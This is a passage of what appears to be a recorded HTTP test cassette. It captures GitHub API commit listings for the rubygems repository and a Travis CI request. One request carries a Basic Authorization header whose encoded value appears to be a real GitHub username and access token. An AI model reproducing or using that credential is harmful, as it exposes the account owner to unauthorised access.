Swandale","author_email":"colby@taplaboratories.com","committer_name":"Colby Swandale","committer_email":"colby@taplaboratories.com","compare_url":"https://github.com/rubygems/rubygems/pull/2137","pull_request_number":2137},{"id":96089052,"sha":"acedc04814761bbfdfbaab03c0c4e5d62439e8e4","branch":"master","tag":null,"message":"Improve the error message given when using --version with multiple gems\nin the install command\n\nSet the error message to now be:\n\n Can''t use --version w/ multiple gems. You can specify multiple gems with\n version requirments using `gem install ''my_gem:1.0.0'' ''my_other_gem:~\u003e2.0.0\n\nThis gives a more easily understood example of the argument format to\nuse in rubygems when installing multiple gems with versions constraints.","committed_at":"2017-12-30T12:37:38Z","author_name":"Colby Swandale","author_email":"colby@taplaboratories.com","committer_name":"Colby Swandale","committer_email":"colby@taplaboratories.com","compare_url":"https://github.com/rubygems/rubygems/pull/2137","pull_request_number":2137},{"id":96085391,"sha":"87e477e51c3a9441d680dee88215d66f79f42234","branch":"auto","tag":null,"message":"Auto merge of #2136 - rubygems:colby/readme-title-consistent, r=segiddins\n\ntitleize \"GETTING HELP\" in readme\n\nThis is a quick PR that just titleizes \"GETTING HELP\" from being all uppercase to make it consistent with the rest of the document.\n______________\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2017-12-30T11:33:04Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/986179676fa5...87e477e51c3a","pull_request_number":null},{"id":96084294,"sha":"b6190116a106b2acf61200d10a5a2271161ba4ff","branch":"master","tag":null,"message":"titleize \"GETTING HELP\" in readme","committed_at":"2017-12-30T11:07:45Z","author_name":"Colby Swandale","author_email":"hello@colby.fyi","committer_name":"GitHub","committer_email":"noreply@github.com","compare_url":"https://github.com/rubygems/rubygems/pull/2136","pull_request_number":2136},{"id":96008850,"sha":"986179676fa57773ac6468adb8d36f98271734f6","branch":"master","tag":null,"message":"Auto merge of #1884 - bobbytables:patch-1, r=hsbt\n\nFix undefined method error when printing alert\n\nIn the case a directory does not exist, this code would attempt to print an error but would fail because `directory` isn''t a defined method or variable.\n\n# Description:\n\nWhen attempting to generate an index for a directory that doesn''t exist, you''d get an exception like so:\n\n```\n$ gem generate_index --directory s3\nERROR: While executing gem ... (NameError)\n undefined local variable or method `directory'' for #\u003cGem::Commands::GenerateIndexCommand:0x007ff1b114eda8\u003e\n```\n\nThis makes the error alerting use the options hash to print the name instead of just failing\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2017-12-29T12:46:20Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/7c2c4c3a7444...986179676fa5","pull_request_number":null},{"id":96006707,"sha":"986179676fa57773ac6468adb8d36f98271734f6","branch":"auto","tag":null,"message":"Auto merge of #1884 - bobbytables:patch-1, r=hsbt\n\nFix undefined method error when printing alert\n\nIn the case a directory does not exist, this code would attempt to print an error but would fail because `directory` isn''t a defined method or variable.\n\n# Description:\n\nWhen attempting to generate an index for a directory that doesn''t exist, you''d get an exception like so:\n\n```\n$ gem generate_index --directory s3\nERROR: While executing gem ... (NameError)\n undefined local variable or method `directory'' for #\u003cGem::Commands::GenerateIndexCommand:0x007ff1b114eda8\u003e\n```\n\nThis makes the error alerting use the options hash to print the name instead of just failing\n______________\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [ ] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2017-12-29T12:46:20Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/7c2c4c3a7444...986179676fa5","pull_request_number":null},{"id":96006704,"sha":"7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","branch":"master","tag":null,"message":"Auto merge of #1592 - hennevogel:master, r=hsbt\n\nSkipping more than one gem in pristine\n\n# Description:\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.\n\n---\n# Tasks:\n- [X] Describe the problem / feature\n- [X] Write tests\n- [X] Write code to solve the problem\n- [X] Get code review from coworkers / friends\n- [X] [Squash commits](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2017-12-29T12:18:15Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/514f1da96bbd...7c2c4c3a7444","pull_request_number":null},{"id":96004840,"sha":"7c2c4c3a7444b211596c2200e5fc8fccf1d8b619","branch":"auto","tag":null,"message":"Auto merge of #1592 - hennevogel:master, r=hsbt\n\nSkipping more than one gem in pristine\n\n# Description:\n\nTurn --skip into an array of values to make it possible\nto skip more than one gem when running pristine.\n\n---\n# Tasks:\n- [X] Describe the problem / feature\n- [X] Write tests\n- [X] Write code to solve the problem\n- [X] Get code review from coworkers / friends\n- [X] [Squash commits](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html)\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","committed_at":"2017-12-29T12:18:15Z","author_name":"The Bundler Bot","author_email":"bot@bundler.io","committer_name":"The Bundler Bot","committer_email":"bot@bundler.io","compare_url":"https://github.com/rubygems/rubygems/compare/374940c109c1...7c2c4c3a7444","pull_request_number":null}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:35 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits?since=2017-07-01&until=2017-08-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 19:39:29 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4831' X-Ratelimit-Reset: - '1515270096' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"88138bd374cddaea6c8785a8b6911ac2" Last-Modified: - Mon, 24 Jul 2017 21:10:23 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.068513' X-Github-Request-Id: - CA74:4D96:A3608E:153F99F:5A5125F1 body: encoding: ASCII-8BIT string: '[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-24T21:10:23Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-24T21:10:23Z"},"message":"Auto merge of #1971 - colby-swandale:rubygems-doc-update, r=segiddins\n\nAdd documentation section to README and fix a few documentation related issues\n\n# Description:\n\n* Add a new section in the README covering the RubyGems documentation and\nRubyGems guides.\n* Update link to the RubyGems API to rubydoc.info since rubyforce.org\nhas been shutdown\n* Add link to homepage of the referenced graph gem\n* fix few small syntax issues\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"839533b29cf298b8da2f9af60498cd5a0298358b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/839533b29cf298b8da2f9af60498cd5a0298358b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f106d866f18cb068150e41c730f4cc2785f18b09","url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09","html_url":"https://github.com/rubygems/rubygems/commit/f106d866f18cb068150e41c730f4cc2785f18b09"},{"sha":"24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","html_url":"https://github.com/rubygems/rubygems/commit/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba"}]},{"sha":"f106d866f18cb068150e41c730f4cc2785f18b09","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T17:10:51Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T17:10:51Z"},"message":"Auto merge of #1972 - colby-swandale:installer-doc-fix, r=segiddins\n\nfix some small documentation issues in installer\n\n# Description:\n\nThis is just another small PR to fix some documentation. This time in the installer code.\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"7fdb8618f4f71a1aa5fc0098628ad4bb6ffa68ed","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7fdb8618f4f71a1aa5fc0098628ad4bb6ffa68ed"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f106d866f18cb068150e41c730f4cc2785f18b09","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09","html_url":"https://github.com/rubygems/rubygems/commit/f106d866f18cb068150e41c730f4cc2785f18b09","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2876d4d5b971fb939422fa272c36380d2a220b32","url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32","html_url":"https://github.com/rubygems/rubygems/commit/2876d4d5b971fb939422fa272c36380d2a220b32"},{"sha":"a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","html_url":"https://github.com/rubygems/rubygems/commit/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6"}]},{"sha":"2876d4d5b971fb939422fa272c36380d2a220b32","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T16:46:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T16:46:12Z"},"message":"Auto merge of #1976 - rubygems:seg-bundler-1-15-2, r=segiddins\n\n[Bundler] Update to 1.15.2\n\n# Description:\n\nThis should get CI green\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"be5415e88a37fc2d79fb787629d4654b176a2366","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be5415e88a37fc2d79fb787629d4654b176a2366"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2876d4d5b971fb939422fa272c36380d2a220b32","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32","html_url":"https://github.com/rubygems/rubygems/commit/2876d4d5b971fb939422fa272c36380d2a220b32","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8"},{"sha":"71e26a480634c8e47a1884813008fbf3baf2eeaf","url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","html_url":"https://github.com/rubygems/rubygems/commit/71e26a480634c8e47a1884813008fbf3baf2eeaf"}]},{"sha":"71e26a480634c8e47a1884813008fbf3baf2eeaf","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-20T15:27:37Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-20T15:30:35Z"},"message":"[Bundler] Update to 1.15.2","tree":{"sha":"be5415e88a37fc2d79fb787629d4654b176a2366","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be5415e88a37fc2d79fb787629d4654b176a2366"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZcMybAAoJEAEZW7MV3ahWoCYP/2IjfLt0RchH2hmAY7h7r5Vy\nfYUXeoi7x5iL38GvCCkxhZSN7hd0TK8wSJM7sTUL8cUQLdMcQWMG5PQgv/cST12l\nxnSFwb999EwuiJXN+SeoEYAT21uacDto8oEFWg7+RyqSs2QkrtN4auMz4NfYwNiU\ng2ydsoIuGnS21RDJI9VBwq4mbzSwp/octF4SS6A/7pEpJq0TZHoeBaliO/r8M2KM\nRHPRkF7+c7+5bhRL8kUJ6RQRdEOzBQ8HrsH9BTUFMdoJlNWCR7tMS2Ua99Nb+W2j\nA6IJQHnqFIBavp1ZoSwyzAuutfqhmIrgGqxtw0QoR5iPK3nQKa4euZK7dDQvmBip\ncRIp84VpmuZQtqU2ilL0kB1ejDNIoOYnBRAfOgQlzz/cq9CSVD+XFhFOtQzS8AId\nrQfBMsaPmErK4jRiC5G/uTj8szyGpaHAvck9CTHjK8zaC0p9T/7ArITjfmsJ67FR\nIeisykoJnCW4f9V5XntUhJOJLCmq9frzT+7fhWPqg3FF/eSkZyNHINiDeYvA/pom\n9XFSFYoz9MN7VUlVirialerRXaN2ILjXIQjoexsO4MAM8WmbPxjAek8Zfk/QjEXm\nERxbx3TDI1p8oZdi5kH8NNzqXCNqNMnW2k56iJ0bj+4npW9oz7p4l6Nu4A4wQ39E\nk9IY+MxQYJlSjNj+3cUJ\n=qQbe\n-----END PGP SIGNATURE-----","payload":"tree be5415e88a37fc2d79fb787629d4654b176a2366\nparent 3841d147b25531a68f3eb2fa943a5ad736ec98d8\nauthor Samuel Giddins 1500564457 -0500\ncommitter Samuel Giddins 1500564635 -0500\n\n[Bundler] Update to 1.15.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","html_url":"https://github.com/rubygems/rubygems/commit/71e26a480634c8e47a1884813008fbf3baf2eeaf","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8"}]},{"sha":"a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-16T04:35:45Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-16T04:35:45Z"},"message":"fix some small issues in installer documentation","tree":{"sha":"786a83443746bf6eb6eef50a5da330eca346cc4f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/786a83443746bf6eb6eef50a5da330eca346cc4f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","html_url":"https://github.com/rubygems/rubygems/commit/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d6376929d7dbd5e4d734e5ff26266c16f727677","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d6376929d7dbd5e4d734e5ff26266c16f727677","html_url":"https://github.com/rubygems/rubygems/commit/6d6376929d7dbd5e4d734e5ff26266c16f727677"}]},{"sha":"24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-15T03:01:35Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-15T03:33:25Z"},"message":"Add documentation section to README and fix a few documentation related\nissues.\n\n* Add a new section in the README covering the RubyGems documentation and\nRubyGems guides.\n* Update link to the RubyGems API to rubydoc.info since rubyforce.org\nhas been shutdown\n* Add link to homepage of the referenced graph gem\n* fix few small syntax issues","tree":{"sha":"97141c773bc61174c41a4270bb7658f323a701ba","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/97141c773bc61174c41a4270bb7658f323a701ba"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","html_url":"https://github.com/rubygems/rubygems/commit/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d6376929d7dbd5e4d734e5ff26266c16f727677","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d6376929d7dbd5e4d734e5ff26266c16f727677","html_url":"https://github.com/rubygems/rubygems/commit/6d6376929d7dbd5e4d734e5ff26266c16f727677"}]}]' http_version: recorded_at: Sat, 06 Jan 2018 19:39:29 GMT - request: method: get uri: https://api.travis-ci.org/repo/rubygems%2Frubygems/branches?sort_by=default_branch body: encoding: US-ASCII string: '' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/json User-Agent: - how_is/24.0.0 (https://github.com/how-is/how_is/) Host: - api.travis-ci.org Travis-Api-Version: - '3' response: status: code: 200 message: OK headers: Connection: - keep-alive Server: - nginx Date: - Fri, 30 Mar 2018 22:04:01 GMT Content-Type: - application/json Transfer-Encoding: - chunked Access-Control-Allow-Origin: - "*" Access-Control-Allow-Credentials: - 'true' Access-Control-Expose-Headers: - Content-Type, 